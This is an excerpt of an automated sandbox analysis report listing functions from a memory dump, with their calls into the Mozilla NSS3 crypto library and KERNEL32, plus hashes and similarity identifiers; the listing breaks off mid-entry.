Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE5AB3E,?,?), ref: 6CE5AC70

Part of subcall function 6CE3E300: TlsGetValue.KERNEL32 ref: 6CE3E33C
Part of subcall function 6CE3E300: EnterCriticalSection.KERNEL32(?), ref: 6CE3E350
Part of subcall function 6CE3E300: PR_Unlock.NSS3(?), ref: 6CE3E5BC
Part of subcall function 6CE3E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE3E5CA
Part of subcall function 6CE3E300: TlsGetValue.KERNEL32 ref: 6CE3E5F2
Part of subcall function 6CE3E300: EnterCriticalSection.KERNEL32(?), ref: 6CE3E606
Part of subcall function 6CE3E300: PORT_Alloc_Util.NSS3(?), ref: 6CE3E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CE5AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE5AB3E), ref: 6CE5ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CE5AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CE5AD2B

Part of subcall function 6CE3F360: TlsGetValue.KERNEL32(00000000,?,6CE5A904,?), ref: 6CE3F38B
Part of subcall function 6CE3F360: EnterCriticalSection.KERNEL32(?,?,?,6CE5A904,?), ref: 6CE3F3A0
Part of subcall function 6CE3F360: PR_Unlock.NSS3(?,?,?,?,6CE5A904,?), ref: 6CE3F3D3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: f877449ca027af1041bfed93a32b31c2beae1dd8fadc8a2b36ba909ec7273ae1
Instruction ID: e3fd807e96f37bf233e178de492aa53da6047ad0f44bb70a216d3a535cb95549
Opcode Fuzzy Hash: f877449ca027af1041bfed93a32b31c2beae1dd8fadc8a2b36ba909ec7273ae1
Instruction Fuzzy Hash: 243138B1E002155FEB008E659C409BF7676AF8431CB68812CE819AB740EB32ED25C7B1

Function 6CE38C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE38C7C

Part of subcall function 6CED9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DC6
Part of subcall function 6CED9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DD1
Part of subcall function 6CED9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CED9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE38CB0
TlsGetValue.KERNEL32 ref: 6CE38CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE38CE5
PR_Unlock.NSS3(?), ref: 6CE38D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE38D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE38D93

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 4032131a3789b7dd9641824079c0525b78d063f33191bce7077941c5f4555302
Instruction ID: 56df4bdf33153aaa662bc42a8cd0f2b19bd99ec8b1cd48a4318eebae9864e1a0
Opcode Fuzzy Hash: 4032131a3789b7dd9641824079c0525b78d063f33191bce7077941c5f4555302
Instruction Fuzzy Hash: 75312571E00621ABDB119F68DC44BAAB778BF45318F74113BEA19A7B50D730B924CBD1

Function 6CE79D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CE79C5B), ref: 6CE79D82

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CE79C5B), ref: 6CE79DA9

Part of subcall function 6CE71340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE7136A
Part of subcall function 6CE71340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE7137E
Part of subcall function 6CE71340: PL_ArenaGrow.NSS3(?,6CE0F599,?,00000000,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?), ref: 6CE713CF
Part of subcall function 6CE71340: PR_Unlock.NSS3(?,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE7145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CE79C5B), ref: 6CE79DCE

Part of subcall function 6CE71340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE713F0
Part of subcall function 6CE71340: PL_ArenaGrow.NSS3(?,6CE0F599,?,?,?,00000000,00000000,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CE71445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CE79C5B), ref: 6CE79DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CE79C5B), ref: 6CE79DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CE79C5B), ref: 6CE79E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CE79C5B), ref: 6CE79E91

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

Part of subcall function 6CE71560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CE6FAAB,00000000), ref: 6CE7157E
Part of subcall function 6CE71560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE6FAAB,00000000), ref: 6CE71592
Part of subcall function 6CE71560: memset.VCRUNTIME140(?,00000000,?), ref: 6CE71600
Part of subcall function 6CE71560: PL_ArenaRelease.NSS3(?,?), ref: 6CE71620
Part of subcall function 6CE71560: PR_Unlock.NSS3(?), ref: 6CE71639

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: b70cf4a0679e0836a823feaa7551a1be1d673625a2ef01f8dbbd639397dfb77f
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 26417EB4601606AFE750DF55D950BA2BBB1FF45348F248128D8184BFA0EB72E834CBA0

Function 6CE3DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE3DDEC

Part of subcall function 6CE70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE708B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE3DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE3DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE3DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE3DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE3DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3DECC

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 38c3c58c8fcf6a64fd15b9d8426d0cab3c2754d27100c6ee315a0067213099aa
Instruction ID: 7941003b371389ef0479ec705beafcb00dedb466b5335ffff4e3a345f973bd92
Opcode Fuzzy Hash: 38c3c58c8fcf6a64fd15b9d8426d0cab3c2754d27100c6ee315a0067213099aa
Instruction Fuzzy Hash: 6C31F7B6D102346BDB00AE65AC01BBB7AB89F5460CF251129EC0DA7741F731FA14C6E2

Function 6CE17E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE17E48

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE17E5B

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE17E7B

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF3925C,?), ref: 6CE17E92

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE17EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE17ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE17EFA

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 5ce62317dd1da78c9d19204f32793568ac7959cb64f46692781253d2fba98e4a
Instruction ID: 9fc5ee12e32be8552c89cb0323527b45b99870b0caf3da319b5dfda0e76e6683
Opcode Fuzzy Hash: 5ce62317dd1da78c9d19204f32793568ac7959cb64f46692781253d2fba98e4a
Instruction Fuzzy Hash: 433190B2E042119BEB108A65DC41B5B77F8AF44A5CF254828DC59EBF41E731EC14C7A0

Function 6CE6DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CE6D9E4,00000000), ref: 6CE6DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CE6D9E4,00000000), ref: 6CE6DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CE6D9E4,00000000), ref: 6CE6DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE6DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6DCAD

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 541b17a0058d3cbe83a777fe148c4efe0ae807e2f17102ed510cf0017efa3108
Instruction ID: 8070b64e2cc7f510ef3f0a53372be19317060d2dd096c7dc029afb85b19a6484
Opcode Fuzzy Hash: 541b17a0058d3cbe83a777fe148c4efe0ae807e2f17102ed510cf0017efa3108
Instruction Fuzzy Hash: 1E316DB9A502059FD750CF1AD884B96B7F8AF0535CF748429E94CCBB01E772EA44CBA1

Function 6CE32E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE2E728,?,00000038,?,?,00000000), ref: 6CE32E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE32E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE32E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE32E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE32E9E
PR_Unlock.NSS3(?), ref: 6CE32EAB
PR_Unlock.NSS3(?), ref: 6CE32F0D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 0b90d4f37a80ab3321868fddc426014bb18704512545ea54704b93e0b9ade304
Instruction ID: f4aa984da898fface162c97239b6018554b33da10283ec05da25474d3ba1cf17
Opcode Fuzzy Hash: 0b90d4f37a80ab3321868fddc426014bb18704512545ea54704b93e0b9ade304
Instruction Fuzzy Hash: 14314375E00111ABEB016F28DC45976B774EF1621CB288168EC4897B12E731EC64C7E0

Function 6CE51EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE36295,?,00000000,?,00000001,S&l,?), ref: 6CE51ECB

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE36295,?,00000000,?,00000001,S&l,?), ref: 6CE51EF1
EnterCriticalSection.KERNEL32(?), ref: 6CE51F01
PR_SetError.NSS3(00000000,00000000), ref: 6CE51F39

Part of subcall function 6CE5FE20: TlsGetValue.KERNEL32(6CE35ADC,?,00000000,00000001,?,?,00000000,?,6CE2BA55,?,?), ref: 6CE5FE4B
Part of subcall function 6CE5FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE5FE5F

PR_Unlock.NSS3(?), ref: 6CE51F67

Strings

S&l, xrefs: 6CE51EA0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: e980cedc72edcf68856e1313af2001fe0ab5ade9050e211486c11eae5c3f728d
Instruction ID: 94be4261313589be17c1cda869e5362bac6b75998584f41152685b87d47f312f
Opcode Fuzzy Hash: e980cedc72edcf68856e1313af2001fe0ab5ade9050e211486c11eae5c3f728d
Instruction Fuzzy Hash: 3E210675E00204ABDB00AE69DC45B9A3779AF4136CFA44128FD0897711EB37D964C6F0

Function 6CE7CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CE7CD93,?), ref: 6CE7CEEE

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CE7CD93,?), ref: 6CE7CEFC

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CE7CD93,?), ref: 6CE7CF0B

Part of subcall function 6CE70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE708B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CE7CD93,?), ref: 6CE7CF1D

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CE7CD93,?), ref: 6CE7CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CE7CD93,?), ref: 6CE7CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CE7CD93,?,?,?,?,?,?,?,?,?,?,?,6CE7CD93,?), ref: 6CE7CF78

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: a591612c1d87af136a4ca91608feeaae4f25f195c1bb96ff87306418874db683
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 8911A2A5B003045BEB24AEA66C52BABB5FC9F5454DF24403DEC19D7B41FB60DA08C6B1

Function 6CE28C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE28C1B
EnterCriticalSection.KERNEL32 ref: 6CE28C34
PL_ArenaAllocate.NSS3 ref: 6CE28C65
PR_Unlock.NSS3 ref: 6CE28C9C
PR_Unlock.NSS3 ref: 6CE28CB6

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

Strings

KRAM, xrefs: 6CE28C8F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 8f58945e71a949fcbd149ffdb7de68fca00cd581cb90e2f73db24f4f073d7c65
Instruction ID: 39a16bcc1b91b2706659a351865ec327753bf3385d3b332192b5157868ba2dac
Opcode Fuzzy Hash: 8f58945e71a949fcbd149ffdb7de68fca00cd581cb90e2f73db24f4f073d7c65
Instruction Fuzzy Hash: 1921B7B1A156018FD700AF78C485669FBF4FF45308F25896ED888CB701DB39D886CB92

Function 6CE38E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CE52E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE24F1C), ref: 6CE38EA2

Part of subcall function 6CE5F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE5F854
Part of subcall function 6CE5F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE5F868
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE5F882
Part of subcall function 6CE5F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE5F889
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE5F8A4
Part of subcall function 6CE5F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE5F8AB
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE5F8C9
Part of subcall function 6CE5F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE5F8D0

